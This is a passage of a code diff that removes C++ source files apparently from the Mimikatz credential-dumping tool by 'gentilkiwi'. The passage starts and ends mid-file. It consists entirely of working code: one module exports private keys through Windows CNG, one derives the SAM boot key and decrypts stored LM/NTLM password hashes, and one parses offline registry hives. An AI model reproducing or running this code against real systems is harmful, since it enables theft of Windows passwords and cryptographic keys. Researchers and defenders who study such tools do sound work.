||||
static HMODULE hRsaEng;
|
||||
public:
|
||||
static bool getProviderString(wstring ProviderName, wstring * Provider);
|
||||
static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType);
|
||||
|
||||
static bool getVectorProviders(vector<wstring> * monVectorProviders);
|
||||
static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL);
|
||||
static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB);
|
||||
|
||||
static bool loadRsaEnh();
|
||||
static bool unloadRsaEnh();
|
||||
};
|
@ -1,143 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_cryptong.h"
|
||||
|
||||
HMODULE hNcrypt = LoadLibrary(L"ncrypt");
|
||||
|
||||
PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast<PNCRYPT_OPEN_STORAGE_PROVIDER>(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider"));
|
||||
PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast<PNCRYPT_ENUM_KEYS>(GetProcAddress(hNcrypt, "NCryptEnumKeys"));
|
||||
PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast<PNCRYPT_OPEN_KEY>(GetProcAddress(hNcrypt, "NCryptOpenKey"));
|
||||
PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast<PNCRYPT_EXPORT_KEY>(GetProcAddress(hNcrypt, "NCryptExportKey"));
|
||||
PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast<PNCRYPT_GET_PROPERTY>(GetProcAddress(hNcrypt, "NCryptGetProperty"));
|
||||
|
||||
PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast<PNCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "NCryptFreeBuffer"));
|
||||
PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast<PNCRYPT_FREE_OBJECT>(GetProcAddress(hNcrypt, "NCryptFreeObject"));
|
||||
|
||||
PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast<PBCRYPT_ENUM_REGISTERED_PROVIDERS>(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders"));
|
||||
PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast<PBCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "BCryptFreeBuffer"));
|
||||
|
||||
bool mod_cryptong::isNcrypt = (
|
||||
hNcrypt &&
|
||||
K_NCryptOpenStorageProvider &&
|
||||
K_NCryptEnumKeys &&
|
||||
K_NCryptOpenKey &&
|
||||
K_NCryptExportKey &&
|
||||
K_NCryptGetProperty &&
|
||||
K_NCryptFreeBuffer &&
|
||||
K_NCryptFreeObject &&
|
||||
K_BCryptEnumRegisteredProviders &&
|
||||
K_BCryptFreeBuffer
|
||||
);
|
||||
|
||||
bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName)
|
||||
{
|
||||
bool reussite = false;
|
||||
NCRYPT_PROV_HANDLE hProvider;
|
||||
|
||||
if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS)
|
||||
reussite = (K_NCryptFreeObject(hProvider) == 0);
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_cryptong::getVectorProviders(vector<wstring> * monVectorProviders)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD cbBuffer;
|
||||
PCRYPT_PROVIDERS pBuffer = NULL;
|
||||
|
||||
if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0))
|
||||
{
|
||||
for(DWORD i = 0; i < pBuffer->cProviders; i++)
|
||||
monVectorProviders->push_back(pBuffer->rgpszProviders[i]);
|
||||
K_BCryptFreeBuffer(pBuffer);
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_cryptong::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine)
|
||||
{
|
||||
bool reussite = false;
|
||||
NCRYPT_PROV_HANDLE hProvider;
|
||||
NCryptKeyName * pKeyName;
|
||||
PVOID pEnumState = NULL;
|
||||
|
||||
SECURITY_STATUS retour;
|
||||
if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS)
|
||||
{
|
||||
while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS)
|
||||
{
|
||||
monVectorContainers->push_back(pKeyName->pszName);
|
||||
K_NCryptFreeBuffer(pKeyName);
|
||||
}
|
||||
reussite = (retour == NTE_NO_MORE_ITEMS);
|
||||
|
||||
if(pEnumState)
|
||||
K_NCryptFreeBuffer(pEnumState);
|
||||
K_NCryptFreeObject(hProvider);
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine)
|
||||
{
|
||||
bool reussite = false;
|
||||
NCRYPT_PROV_HANDLE hProvider;
|
||||
|
||||
if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS)
|
||||
{
|
||||
reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS;
|
||||
K_NCryptFreeObject(hProvider);
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize)
|
||||
{
|
||||
DWORD tailleEcrite = 0;
|
||||
return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast<BYTE *>(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD));
|
||||
}
|
||||
|
||||
|
||||
bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD tailleEcrite = 0, exportability = 0;
|
||||
|
||||
if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast<BYTE *>(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)))
|
||||
{
|
||||
*isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType)
|
||||
{
|
||||
SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0);
|
||||
if(monRetour == ERROR_SUCCESS)
|
||||
{
|
||||
*monExport = new BYTE[*tailleExport];
|
||||
monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0);
|
||||
|
||||
if(monRetour != ERROR_SUCCESS)
|
||||
delete[] monExport;
|
||||
}
|
||||
SetLastError(monRetour);
|
||||
return (monRetour == ERROR_SUCCESS);
|
||||
}
|
||||
|
||||
|
||||
bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject)
|
||||
{
|
||||
return (K_NCryptFreeObject(hObject) == 0);
|
||||
}
|
@ -1,24 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <bcrypt.h>
|
||||
#include <sstream>
|
||||
|
||||
class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */
|
||||
{
|
||||
public:
|
||||
static bool getVectorProviders(vector<wstring> * monVectorProviders);
|
||||
static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false);
|
||||
static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false);
|
||||
static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize);
|
||||
static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable);
|
||||
static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB);
|
||||
static bool NCryptFreeObject(NCRYPT_HANDLE hObject);
|
||||
|
||||
static bool isNcrypt;
|
||||
static bool justInitCNG(LPCWSTR pszProviderName = NULL);
|
||||
};
|
@ -1,150 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_hash.h"
|
||||
|
||||
PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast<PSYSTEM_FUNCTION_006>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006"));
|
||||
PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast<PSYSTEM_FUNCTION_007>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007"));
|
||||
PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = reinterpret_cast<PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString"));
|
||||
PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"));
|
||||
PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast<PRTL_FREE_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString"));
|
||||
|
||||
bool mod_hash::lm(wstring * chaine, wstring * hash)
|
||||
{
|
||||
bool status = false;
|
||||
UNICODE_STRING maChaine;
|
||||
OEM_STRING maDestination;
|
||||
BYTE monTab[16];
|
||||
|
||||
RtlInitUnicodeString(&maChaine, chaine->c_str());
|
||||
if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE)))
|
||||
{
|
||||
if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab)))
|
||||
hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab)));
|
||||
|
||||
RtlFreeOemString(&maDestination);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
bool mod_hash::ntlm(wstring * chaine, wstring * hash)
|
||||
{
|
||||
bool status = false;
|
||||
UNICODE_STRING maChaine;
|
||||
BYTE monTab[16];
|
||||
|
||||
RtlInitUnicodeString(&maChaine, chaine->c_str());
|
||||
if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab)))
|
||||
hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab)));
|
||||
return status;
|
||||
}
|
||||
|
||||
void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10])
|
||||
{
|
||||
BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04};
|
||||
for(unsigned int i = 0; i < 0x10; i++)
|
||||
bootkey[i] = key[permut[i]];
|
||||
}
|
||||
|
||||
bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF)
|
||||
{
|
||||
bool reussite = false;
|
||||
unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
|
||||
unsigned char num[] = "0123456789012345678901234567890123456789";
|
||||
|
||||
HCRYPTPROV hCryptProv = NULL;
|
||||
HCRYPTHASH hHash = NULL;
|
||||
if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
|
||||
{
|
||||
BYTE md5hash[0x10] = {0};
|
||||
DWORD dwHashDataLen = sizeof(md5hash);
|
||||
CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);
|
||||
CryptHashData(hHash, AccountsF + 0x70, 0x10, 0);
|
||||
CryptHashData(hHash, qwe, sizeof(qwe), 0);
|
||||
CryptHashData(hHash, bootKey, 0x10, 0);
|
||||
CryptHashData(hHash, num, sizeof(num), 0);
|
||||
CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0);
|
||||
CryptDestroyHash(hHash);
|
||||
CryptReleaseContext(hCryptProv, 0);
|
||||
reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm)
|
||||
{
|
||||
bool reussite = false;
|
||||
unsigned char ntpassword[] = "NTPASSWORD";
|
||||
unsigned char lmpassword[] = "LMPASSWORD";
|
||||
|
||||
BYTE obfkey[0x10];
|
||||
BYTE mes2CleDES[0x10];
|
||||
|
||||
if(encHash->lenght == 0x10 + 4)
|
||||
{
|
||||
HCRYPTPROV hCryptProv = NULL;
|
||||
HCRYPTHASH hHash = NULL;
|
||||
if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
|
||||
{
|
||||
BYTE md5hash[0x10] = {0};
|
||||
DWORD dwHashDataLen = 0x10;
|
||||
CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);
|
||||
CryptHashData(hHash, hBootKey, 0x10, 0);
|
||||
CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0);
|
||||
CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0);
|
||||
CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0);
|
||||
CryptDestroyHash(hHash);
|
||||
|
||||
CryptReleaseContext(hCryptProv, 0);
|
||||
|
||||
if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10))
|
||||
{
|
||||
sid_to_key1(rid, mes2CleDES);
|
||||
sid_to_key2(rid, mes2CleDES + 8);
|
||||
|
||||
reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) &&
|
||||
mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES);
|
||||
}
|
||||
}
|
||||
}
|
||||
hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L"");
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
void mod_hash::str_to_key(BYTE *str, BYTE *key)
|
||||
{
|
||||
key[0] = str[0] >> 1;
|
||||
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2);
|
||||
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3);
|
||||
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4);
|
||||
key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5);
|
||||
key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6);
|
||||
key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7);
|
||||
key[7] = str[6] & 0x7f;
|
||||
for (DWORD i = 0; i < 8; i++)
|
||||
key[i] = (key[i] << 1);
|
||||
}
|
||||
|
||||
void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8])
|
||||
{
|
||||
unsigned char s[7];
|
||||
s[0] = s[4] = (unsigned char)((sid) & 0xff);
|
||||
s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff);
|
||||
s[2] = s[6] = (unsigned char)((sid >>16) & 0xff);
|
||||
s[3] = (unsigned char)((sid >>24) & 0xff);
|
||||
str_to_key(s, deskey);
|
||||
}
|
||||
|
||||
void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8])
|
||||
{
|
||||
unsigned char s[7];
|
||||
|
||||
s[0] = s[4] = (unsigned char)((sid >>24) & 0xff);
|
||||
s[1] = s[5] = (unsigned char)((sid) & 0xff);
|
||||
s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff);
|
||||
s[3] = (unsigned char)((sid >>16) & 0xff);
|
||||
str_to_key(s, deskey);
|
||||
}
|
@ -1,81 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_text.h"
|
||||
#include "mod_crypto.h"
|
||||
|
||||
class mod_hash
|
||||
{
|
||||
private:
|
||||
static PSYSTEM_FUNCTION_006 SystemFunction006;
|
||||
static PSYSTEM_FUNCTION_007 SystemFunction007;
|
||||
static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString;
|
||||
static PRTL_INIT_UNICODESTRING RtlInitUnicodeString;
|
||||
static PRTL_FREE_OEM_STRING RtlFreeOemString;
|
||||
|
||||
public:
|
||||
typedef enum _KIWI_HASH_TYPE
|
||||
{
|
||||
LM,
|
||||
NTLM
|
||||
} KIWI_HASH_TYPE;
|
||||
|
||||
typedef struct _SAM_ENTRY {
|
||||
DWORD offset;
|
||||
DWORD lenght;
|
||||
DWORD unk;
|
||||
} SAM_ENTRY, *PSAM_SENTRY;
|
||||
|
||||
typedef struct _OLD_LARGE_INTEGER {
|
||||
unsigned long LowPart;
|
||||
long HighPart;
|
||||
} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER;
|
||||
|
||||
typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823
|
||||
DWORD unk0_header;
|
||||
DWORD align;
|
||||
OLD_LARGE_INTEGER LastLogon;
|
||||
OLD_LARGE_INTEGER LastLogoff;
|
||||
OLD_LARGE_INTEGER PasswordLastSet;
|
||||
OLD_LARGE_INTEGER AccountExpires;
|
||||
OLD_LARGE_INTEGER PasswordMustChange;
|
||||
unsigned long UserId;
|
||||
unsigned long unk1;
|
||||
unsigned long UserAccountControl;
|
||||
} USER_F, *PUSER_F;
|
||||
|
||||
typedef struct _USER_V {
|
||||
SAM_ENTRY unk0;
|
||||
SAM_ENTRY Username;
|
||||
SAM_ENTRY Fullname;
|
||||
SAM_ENTRY Comment;
|
||||
SAM_ENTRY UserComment;
|
||||
SAM_ENTRY unk1;
|
||||
SAM_ENTRY Homedir;
|
||||
SAM_ENTRY Homedirconnect;
|
||||
SAM_ENTRY Scriptpath;
|
||||
SAM_ENTRY Profilepath;
|
||||
SAM_ENTRY Workstations;
|
||||
SAM_ENTRY HoursAllowed;
|
||||
SAM_ENTRY unk2;
|
||||
SAM_ENTRY LM;
|
||||
SAM_ENTRY NTLM;
|
||||
SAM_ENTRY unk3;
|
||||
SAM_ENTRY unk4;
|
||||
BYTE datas;
|
||||
} USER_V, *PUSER_V;
|
||||
|
||||
static bool lm(wstring * chaine, wstring * hash);
|
||||
static bool ntlm(wstring * chaine, wstring * hash);
|
||||
|
||||
static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]);
|
||||
static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF);
|
||||
static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm);
|
||||
static void str_to_key(BYTE *str, BYTE *key);
|
||||
static void sid_to_key1(DWORD sid, BYTE deskey[8]);
|
||||
static void sid_to_key2(DWORD sid, BYTE deskey[8]);
|
||||
};
|
@ -1,243 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_hive.h"
|
||||
|
||||
mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset )
|
||||
{
|
||||
memcpy(nk, h->base + offset + 4, sizeof(nk_hdr));
|
||||
nk->key_name = (h->base + offset + 4 + 76);
|
||||
return nk;
|
||||
}
|
||||
|
||||
mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset )
|
||||
{
|
||||
memcpy(lf, h->base+offset+4, sizeof(lf_hdr));
|
||||
lf->hr = (h->base+offset+4+4);
|
||||
return lf;
|
||||
}
|
||||
|
||||
mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset )
|
||||
{
|
||||
memcpy(vk, h->base+offset+4, sizeof(vk_hdr));
|
||||
vk->value_name = (h->base+offset+4+20);
|
||||
return vk;
|
||||
}
|
||||
|
||||
int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size )
|
||||
{
|
||||
memcpy(value, h->base+offset+4, size*sizeof(int));
|
||||
return value;
|
||||
}
|
||||
|
||||
mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index )
|
||||
{
|
||||
pos+=(8*index);
|
||||
memcpy(hr, pos, sizeof(hashrecord));
|
||||
return hr;
|
||||
}
|
||||
|
||||
|
||||
unsigned char* mod_hive::read_data(hive *h, int offset )
|
||||
{
|
||||
return ((unsigned char*) (h->base + offset + 4));
|
||||
}
|
||||
|
||||
bool mod_hive::InitHive(hive *h)
|
||||
{
|
||||
h->base = NULL;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h)
|
||||
{
|
||||
bool reussite = false;
|
||||
FILE *hiveh;
|
||||
unsigned long hsize;
|
||||
|
||||
if(_wfopen_s(&hiveh, filename, L"rb" ) == 0)
|
||||
{
|
||||
if(fseek(hiveh, 0, SEEK_END) == 0)
|
||||
{
|
||||
hsize = ftell(hiveh);
|
||||
h->base = new unsigned char[hsize];
|
||||
fseek(hiveh, 0, SEEK_SET);
|
||||
|
||||
if(fread(h->base, hsize, 1, hiveh) == 1)
|
||||
{
|
||||
reussite = *((int *)h->base) == 0x66676572;
|
||||
}
|
||||
}
|
||||
fclose(hiveh);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_hive::RegCloseHive(hive *h )
|
||||
{
|
||||
if(h->base != NULL)
|
||||
{
|
||||
delete[] h->base;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
long mod_hive::parself(hive *h, char *t, unsigned long off )
|
||||
{
|
||||
nk_hdr *n;
|
||||
lf_hdr *l;
|
||||
hashrecord *hr;
|
||||
|
||||
int i;
|
||||
|
||||
hr = (hashrecord*) malloc(sizeof(hashrecord));
|
||||
n = (nk_hdr*) malloc(sizeof(nk_hdr));
|
||||
l = (lf_hdr*) malloc(sizeof(lf_hdr));
|
||||
l = read_lf(l, h, off );
|
||||
|
||||
for(i = 0; i < l->key_num; i++ )
|
||||
{
|
||||
hr = read_hr(hr, l->hr, i);
|
||||
n = read_nk(n, h, hr->nk_offset + 0x1000 );
|
||||
if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len))
|
||||
{
|
||||
free(n);
|
||||
free(l);
|
||||
return hr->nk_offset;
|
||||
}
|
||||
}
|
||||
free(n);
|
||||
free(l);
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool mod_hive::RegGetRootKey(hive *h, string *root_key)
|
||||
{
|
||||
bool reussite = false;
|
||||
nk_hdr * n = new nk_hdr();
|
||||
read_nk(n, h, 0x1020);
|
||||
if (n->id == NK_ID && n->type == NK_ROOT)
|
||||
{
|
||||
root_key->assign((const char *) n->key_name, n->name_len);
|
||||
reussite = true;
|
||||
}
|
||||
delete n;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
nk_hdr *n = new nk_hdr();
|
||||
char *t, *tpath;
|
||||
unsigned long noff = 0;
|
||||
char *tokctx = NULL;
|
||||
|
||||
read_nk(n, h, 0x1020);
|
||||
|
||||
if(n->id == NK_ID && n->type == NK_ROOT)
|
||||
{
|
||||
tpath = _strdup(path->c_str());
|
||||
t = strtok_s(tpath, "\\", &tokctx);
|
||||
|
||||
if(!memcmp(t, n->key_name, n->name_len))
|
||||
{
|
||||
t = strtok_s(tpath, "\\", &tokctx);
|
||||
while(t != NULL)
|
||||
{
|
||||
noff = parself(h, t, n->lf_off + 0x1000);
|
||||
if(noff != -1)
|
||||
{
|
||||
read_nk(n, h, noff + 0x1000);
|
||||
t = strtok_s(tpath, "\\", &tokctx);
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(t == NULL && noff != 1)
|
||||
{
|
||||
memcpy(*nr, n, sizeof(nk_hdr));
|
||||
reussite = true;
|
||||
}
|
||||
}
|
||||
free(tpath);
|
||||
}
|
||||
|
||||
delete n;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len )
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
vk_hdr *v = new vk_hdr();
|
||||
int * l = new int[nr->value_cnt];
|
||||
|
||||
read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt);
|
||||
|
||||
for(unsigned int i = 0; i < nr->value_cnt; i++)
|
||||
{
|
||||
read_vk(v, h, l[i] + 0x1000);
|
||||
if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0))
|
||||
{
|
||||
*len = v->data_len & 0x0000FFFF;
|
||||
*buff = new unsigned char[*len];
|
||||
if (*len < 5)
|
||||
{
|
||||
memcpy(*buff, &(v->data_off), *len);
|
||||
}
|
||||
else
|
||||
{
|
||||
memcpy(*buff, read_data(h, v->data_off + 0x1000), *len);
|
||||
}
|
||||
reussite = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
delete[] l;
|
||||
delete v;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len)
|
||||
{
|
||||
bool reussite = false;
|
||||
mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr();
|
||||
if(mod_hive::RegOpenKey(h, path, &nodeKey))
|
||||
{
|
||||
reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len);
|
||||
}
|
||||
delete nodeKey;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names)
|
||||
{
|
||||
int index = 0;
|
||||
|
||||
lf_hdr *lf = new lf_hdr();
|
||||
nk_hdr *nk = new nk_hdr();
|
||||
hashrecord *hr = new hashrecord();
|
||||
|
||||
while(index < nr->subkey_num)
|
||||
{
|
||||
lf = read_lf(lf, h, nr->lf_off + 0x1000 );
|
||||
hr = read_hr(hr, lf->hr, index);
|
||||
nk = read_nk(nk, h, hr->nk_offset + 0x1000 );
|
||||
names->push_back(string(reinterpret_cast<char *>(nk->key_name), nk->name_len));
|
||||
index++;
|
||||
}
|
||||
|
||||
delete lf, nk, hr;
|
||||
return !names->empty();
|
||||
}
|
@ -1,88 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
using namespace std;
|
||||
|
||||
#define NK_ID 0x6B6E
|
||||
#define NK_ROOT 0x2c
|
||||
#define LF_ID 0x666C
|
||||
|
||||
class mod_hive
|
||||
{
|
||||
public:
|
||||
typedef struct _hive
|
||||
{
|
||||
unsigned char *base;
|
||||
} hive;
|
||||
|
||||
typedef struct _nk_hdr
|
||||
{
|
||||
short int id;
|
||||
short int type;
|
||||
int t1, t2;
|
||||
int unk1;
|
||||
int parent_off;
|
||||
int subkey_num;
|
||||
int unk2;
|
||||
int lf_off;
|
||||
int unk3;
|
||||
/* unsigned */
|
||||
unsigned int value_cnt;
|
||||
int value_off;
|
||||
int sk_off;
|
||||
int classname_off;
|
||||
